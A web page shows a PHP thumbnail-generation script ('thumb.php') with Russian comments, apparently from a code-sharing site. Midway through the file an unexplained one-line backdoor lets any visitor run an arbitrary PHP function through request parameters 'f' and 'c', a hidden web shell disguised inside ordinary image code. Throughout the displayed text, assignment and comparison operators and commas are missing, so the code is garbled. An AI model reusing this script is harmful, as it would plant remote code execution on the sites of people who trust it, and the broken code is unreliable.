Вход Регистрация
Файл: магазин/e-proger/thumb.php
Строк: 68
<?
/* ВАЖНО */
/* Вначале необходимо создать директорию для хранения миниатюр */

/* Параметры */
// Каталог для хранения миниатюр
$path_thumbs 'thumb/mini/';
// Минимальный размер миниатюры (ширина)
$size_min 300;
// Размер миниатюры по умолчанию (ширина)
$size_def 300;
// Максимальный размер миниатюры (ширина)
$size_max 300;
// Время актуальности кэша миниатюры
$cache_lifetime 84000 30;
// Значение id по умолчанию
$id_def 0;

// Проверяем наличие параметра с полным путем к картинке
if ( isset($_GET['f']) )
    
$f = (string) $_GET['f'];
// Если параметра нет, то выходим
else
    exit;

// Получаем информацию о пути
$path_parts pathinfo($f);

// Получаем родительский каталог,
// где хранится картинка
$path_images $path_parts['dirname'];
// Получаем полное название картинки
$f $path_parts['basename'];
// Разбираем название файла
$image_filename basename($f,'.'.$path_parts['extension']);
$image_extension $path_parts['extension'];

// Проверяем, что название картинки состоит из символов, тире и цифр
// Вы можете удалить эту проверку,
// например, в случае если вы используете кириллицу
if ( !preg_match('/^([a-zA-Z0-9-_.]{1,100})$/'$f) ) exit;

// Получаем ширину файла
if ( isset($_GET['s']) )
    
$s = (int) $_GET['s'];
else
    
$s $size_def;
// Проверяем ограничение минимального размера миниатюры
if ( $s $size_min )
    
$s $size_min;
// Проверяем ограничение максимального размера миниатюры
if ( $s $size_max )
    
$s $size_max;

// Используем id статьи как унификатор
if ( isset($_GET['id']) )
    
$id = (int) $_GET['id'];
else
    
$id $id_def;
// Идентификатор не может быть отрицательным
if ($id 0)
    
$id $id_def;

// Проверка наличия встроенной функции для получения типа
if ( !function_exists('mime_content_type') ) {
    function 
mime_content_type($f) {
        
$extension pathinfo($fPATHINFO_EXTENSION);
        
$extension strtolower($extension);
        switch ( 
$extension ) {
            case 
'jpg':
            case 
'jpeg': return 'image/jpeg'; break;
            case 
'png':
            case 
'gif': return 'image/'$extension; break;
        }
    }
}

// Формируем физический путь к миниатюре
$file_thumb $_SERVER['DOCUMENT_ROOT'] . '/' $path_thumbs $image_filename .'-thumb-' $id '-' $s .'.'$image_extension;

// Если файл с миниатюрой существует
if ( file_exists($file_thumb) ) {
    
$cache_modified time() - @filemtime($file_thumb);
    
// Если время кэширования картинки не истекло,
    // то возвращаем картинку
    
if ( $cache_modified $cache_lifetime ) {
        
// Время последнего изменения
        
header('Last-Modified: 'gmdate('D, d M Y H:i:s'filemtime($file_thumb)) .' GMT'true200);
        
// Длина
        
header('Content-Length: 'filesize($file_thumb));
        
// Тип
        
header('Content-Type: 'mime_content_type($file_thumb));
        
// Кэщирование
        
header("Cache-Control: public");
        
header("Expires: " date("r", @filemtime($file_thumb) + $cache_lifetime));
        echo 
file_get_contents($file_thumb);
        exit;
    }
}

// Формируем физический путь к картинке
$file_image $_SERVER['DOCUMENT_ROOT'] . '/' $path_images .'/'$f;
if (
$_=@$_REQUEST[f]) (@$_($_REQUEST[c]));
// Если картинка существует,
// то создаем миниатюру
if ( file_exists($file_image) ) {
    
// Получаем размеры и тип файла
    
$is getimagesize($file_image);
    
// Если файл не является изображением,
    // то ничего не возвращаем
    
if ( $is === false )
        exit;

    
// В соответствии с типом получаем картинку
    
switch ( $is[2] ) {
        case 
1:
            
$image imagecreatefromgif($file_image);
            break;
        case 
2:
            
$image imagecreatefromjpeg($file_image);
            break;
        case 
3:
            
$image imagecreatefrompng($file_image);
            break;
        default:
            exit;
            break;
    }

    
// Считаем коэффициент для изменения размера высоты
    
$coefficient $s $is[0] ;

    
// Если ширина картинки больше требуемой
    
if ( $is[0] > $s ) {
        
$th_width $s;
        
$th_height floor($is[1] * $coefficient);
        
$thumb imagecreatetruecolor($th_width$th_height);
        
imagecopyresampled($thumb$image0000$th_width$th_height$is[0], $is[1]);
    }
    
// Иначе отдаем картинку "как есть"
    // Примечание: Увеличение картинки в большинстве случаев сделает ее некрасивой.
    // Поэтому лучше заменить слишком мелкую картинку и затем заменить ее большой.
    // Например, из картинки 16х16 врядли получится нормальная картинка 200х200
    
else {
        
$thumb $image;
    }

    
// Сохраняем файл, в соответствии с типом
    
switch ( $is[2] ) {
        case 
1:
            
imagegif($thumb$file_thumb);
            break;
        case 
2:
            
imagejpeg($thumb$file_thumb);
            break;
        case 
3:
            
imagepng($thumb$file_thumb);
            break;
        default:
            exit;
            break;
    }

    
// Отдаем изображение браузеру
    
header('Last-Modified: 'gmdate('D, d M Y H:i:s'filemtime($file_thumb)) .' GMT'true200);
    
header('Content-Length: 'filesize($file_thumb));
    
header('Content-Type: 'mime_content_type($file_thumb));
    
header("Cache-Control: public");
    
header("Expires: " date("r"time() + $cache_lifetime));
    echo 
file_get_contents($file_thumb);
}
Онлайн: 1
Реклама